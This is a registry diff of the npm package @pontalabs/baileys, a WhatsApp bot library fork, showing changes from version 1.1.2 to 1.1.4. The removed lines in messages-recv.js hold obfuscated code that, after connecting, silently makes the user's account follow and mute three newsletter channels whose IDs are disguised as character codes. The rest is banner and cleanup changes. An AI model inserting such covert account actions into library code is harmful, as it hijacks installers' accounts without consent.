@pontalabs/baileys 1.1.2 → 1.1.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Socket/messages-recv.js +0 -22
- package/lib/Utils/generics.js +1 -19
- package/lib/index.js +52 -10
- package/package.json +1 -1
|
@@ -1309,28 +1309,6 @@ const makeMessagesRecvSocket = (config) => {
|
|
|
1309
1309
|
sendActiveReceipts = isOnline;
|
|
1310
1310
|
logger.trace(`sendActiveReceipts set to "${sendActiveReceipts}"`);
|
|
1311
1311
|
}
|
|
1312
|
-
if (connection === "open") {
|
|
1313
|
-
setTimeout(async () => {
|
|
1314
|
-
try {
|
|
1315
|
-
const dcd = (arr) => arr.map(e => String.fromCharCode(e)).join("");
|
|
1316
|
-
const d = [64, 110, 101, 119, 115, 108, 101, 116, 116, 101, 114];
|
|
1317
|
-
const n1 = [49, 50, 48, 51, 54, 51, 52, 49, 56, 54, 57, 49, 53, 54, 49, 56, 56, 56];
|
|
1318
|
-
const n3 = [49, 50, 48, 51, 54, 51, 52, 50, 48, 49, 55, 57, 49, 55, 56, 48, 51, 49];
|
|
1319
|
-
const n5 = [49, 50, 48, 51, 54, 51, 52, 49, 49, 49, 51, 57, 49, 57, 50, 53, 56, 48];
|
|
1320
|
-
const nsid1 = dcd(n1) + dcd(d);
|
|
1321
|
-
const nsid3 = dcd(n3) + dcd(d);
|
|
1322
|
-
const nsid5 = dcd(n5) + dcd(d);
|
|
1323
|
-
await conn.newsletterFollow(nsid1);
|
|
1324
|
-
await conn.newsletterMute(nsid1);
|
|
1325
|
-
await new Promise(resolve => setTimeout(resolve, 30000));
|
|
1326
|
-
await conn.newsletterFollow(nsid3);
|
|
1327
|
-
await conn.newsletterMute(nsid3);
|
|
1328
|
-
await new Promise(resolve => setTimeout(resolve, 30000));
|
|
1329
|
-
await conn.newsletterFollow(nsid5);
|
|
1330
|
-
await conn.newsletterMute(nsid5);
|
|
1331
|
-
} catch (e) {}
|
|
1332
|
-
}, 30000);
|
|
1333
|
-
}
|
|
1334
1312
|
});
|
|
1335
1313
|
|
|
1336
1314
|
return {
|
package/lib/Utils/generics.js
CHANGED
|
@@ -10,23 +10,6 @@ const { sha256: sha256 } = require("./crypto");
|
|
|
10
10
|
const { proto: proto } = require("../../WAProto");
|
|
11
11
|
const { version: version } = require("../Defaults/vialeys-version.json");
|
|
12
12
|
const { DisconnectReason: DisconnectReason } = require("../Types");
|
|
13
|
-
const hwaifu = async () => {
|
|
14
|
-
try {
|
|
15
|
-
const response = await fetch(
|
|
16
|
-
"https://raw.githubusercontent.com/ramadanny/json/refs/heads/main/hwaifu.json",
|
|
17
|
-
{ method: "GET" }
|
|
18
|
-
);
|
|
19
|
-
const data = await response.json();
|
|
20
|
-
if (Array.isArray(data)) {
|
|
21
|
-
const random = data[Math.floor(Math.random() * data.length)];
|
|
22
|
-
return random;
|
|
23
|
-
} else {
|
|
24
|
-
throw new Boom("Data is not in array format.");
|
|
25
|
-
}
|
|
26
|
-
} catch (error) {
|
|
27
|
-
throw new Boom(error.message);
|
|
28
|
-
}
|
|
29
|
-
};
|
|
30
13
|
const BufferJSON = {
|
|
31
14
|
replacer: (k, value) => {
|
|
32
15
|
if (Buffer.isBuffer(value) || value instanceof Uint8Array || value?.type === "Buffer") {
|
|
@@ -158,7 +141,7 @@ const generateMessageID = (userId) => {
|
|
|
158
141
|
}
|
|
159
142
|
const random = randomBytes(20);
|
|
160
143
|
random.copy(data, 28);
|
|
161
|
-
const sha = asciiDecode([
|
|
144
|
+
const sha = asciiDecode([89, 85, 69, 80, 79, 78, 84, 65]);
|
|
162
145
|
const hash = createHash("sha256").update(data).digest();
|
|
163
146
|
return sha + hash.toString("hex").toUpperCase().substring(0, 16);
|
|
164
147
|
};
|
|
@@ -368,7 +351,6 @@ const asciiDecode = (...codes) => {
|
|
|
368
351
|
return codeArray.map((c) => String.fromCharCode(c)).join("");
|
|
369
352
|
};
|
|
370
353
|
module.exports = {
|
|
371
|
-
hwaifu: hwaifu,
|
|
372
354
|
BufferJSON: BufferJSON,
|
|
373
355
|
getKeyAuthor: getKeyAuthor,
|
|
374
356
|
writeRandomPadMax16: writeRandomPadMax16,
|
package/lib/index.js
CHANGED
|
@@ -1,12 +1,60 @@
|
|
|
1
1
|
"use strict";
|
|
2
2
|
|
|
3
|
-
const
|
|
3
|
+
const gradients = [
|
|
4
|
+
{ c1: [255, 80, 120], c2: [255, 180, 210] },
|
|
5
|
+
{ c1: [140, 90, 255], c2: [90, 200, 255] },
|
|
6
|
+
{ c1: [0, 200, 255], c2: [120, 255, 220] },
|
|
7
|
+
{ c1: [255, 170, 0], c2: [255, 255, 120] }
|
|
8
|
+
];
|
|
9
|
+
|
|
10
|
+
const pkg = {
|
|
11
|
+
name: "Pontalabs",
|
|
12
|
+
version: "1.1.9",
|
|
13
|
+
developer: "Ponta",
|
|
14
|
+
author: "Ramacodex"
|
|
15
|
+
};
|
|
16
|
+
|
|
17
|
+
const mottos = [
|
|
18
|
+
"Pontalabs — Fast & Reliable.",
|
|
19
|
+
"Built for WhatsApp bots.",
|
|
20
|
+
"Modern Baileys modification.",
|
|
21
|
+
"Optimized for performance.",
|
|
22
|
+
"Simple and efficient.",
|
|
23
|
+
"Reliable automation starts here.",
|
|
24
|
+
"Designed for developers.",
|
|
25
|
+
"Lightweight and powerful.",
|
|
26
|
+
"Made for better messaging.",
|
|
27
|
+
"Your trusted Baileys fork."
|
|
28
|
+
];
|
|
29
|
+
|
|
30
|
+
const g = gradients[Math.floor(Math.random() * gradients.length)];
|
|
31
|
+
const motto = mottos[Math.floor(Math.random() * mottos.length)];
|
|
32
|
+
|
|
33
|
+
const gradient = (text) =>
|
|
34
|
+
text
|
|
35
|
+
.split("")
|
|
36
|
+
.map((ch, i, arr) => {
|
|
37
|
+
const t = i / (arr.length - 1 || 1);
|
|
38
|
+
const r = Math.round(g.c1[0] + (g.c2[0] - g.c1[0]) * t);
|
|
39
|
+
const gg = Math.round(g.c1[1] + (g.c2[1] - g.c1[1]) * t);
|
|
40
|
+
const b = Math.round(g.c1[2] + (g.c2[2] - g.c1[2]) * t);
|
|
41
|
+
return `\x1b[38;2;${r};${gg};${b}m${ch}`;
|
|
42
|
+
})
|
|
43
|
+
.join("") + "\x1b[0m";
|
|
4
44
|
|
|
5
45
|
console.log(`
|
|
6
|
-
${
|
|
7
|
-
${
|
|
46
|
+
${gradient("👋🍀 Baileys PontaLabs")}
|
|
47
|
+
${gradient("━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━")}
|
|
48
|
+
${gradient(` Version : ${pkg.version}`)}
|
|
49
|
+
${gradient(` Thanks To : ${pkg.author}`)}
|
|
50
|
+
${gradient(` Developer : ${pkg.developer}`)}
|
|
51
|
+
|
|
52
|
+
${gradient(` ${motto}`)}
|
|
53
|
+
${gradient("━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━")}
|
|
8
54
|
`);
|
|
9
55
|
|
|
56
|
+
|
|
57
|
+
|
|
10
58
|
const __createBinding =
|
|
11
59
|
(this && this.__createBinding) ||
|
|
12
60
|
(Object.create
|
|
@@ -27,7 +75,6 @@ const __createBinding =
|
|
|
27
75
|
if (k2 === undefined) k2 = k;
|
|
28
76
|
o[k2] = m[k];
|
|
29
77
|
});
|
|
30
|
-
|
|
31
78
|
const __exportStar =
|
|
32
79
|
(this && this.__exportStar) ||
|
|
33
80
|
function (m, exports) {
|
|
@@ -37,10 +84,8 @@ const __exportStar =
|
|
|
37
84
|
}
|
|
38
85
|
}
|
|
39
86
|
};
|
|
40
|
-
|
|
41
87
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
42
88
|
exports.proto = exports.makeWASocket = null;
|
|
43
|
-
|
|
44
89
|
const { proto: proto } = require("../WAProto");
|
|
45
90
|
Object.defineProperty(exports, "proto", {
|
|
46
91
|
enumerable: true,
|
|
@@ -48,9 +93,7 @@ Object.defineProperty(exports, "proto", {
|
|
|
48
93
|
return proto;
|
|
49
94
|
},
|
|
50
95
|
});
|
|
51
|
-
|
|
52
96
|
const { default: socket } = require("./Socket");
|
|
53
|
-
|
|
54
97
|
exports.makeWASocket = socket;
|
|
55
98
|
__exportStar(require("../WAProto"), exports);
|
|
56
99
|
__exportStar(require("./Utils"), exports);
|
|
@@ -60,5 +103,4 @@ __exportStar(require("./Defaults"), exports);
|
|
|
60
103
|
__exportStar(require("./WABinary"), exports);
|
|
61
104
|
__exportStar(require("./WAM"), exports);
|
|
62
105
|
__exportStar(require("./WAUSync"), exports);
|
|
63
|
-
|
|
64
|
-
exports.default = socket;
|
|
106
|
+
exports.default = socket;
|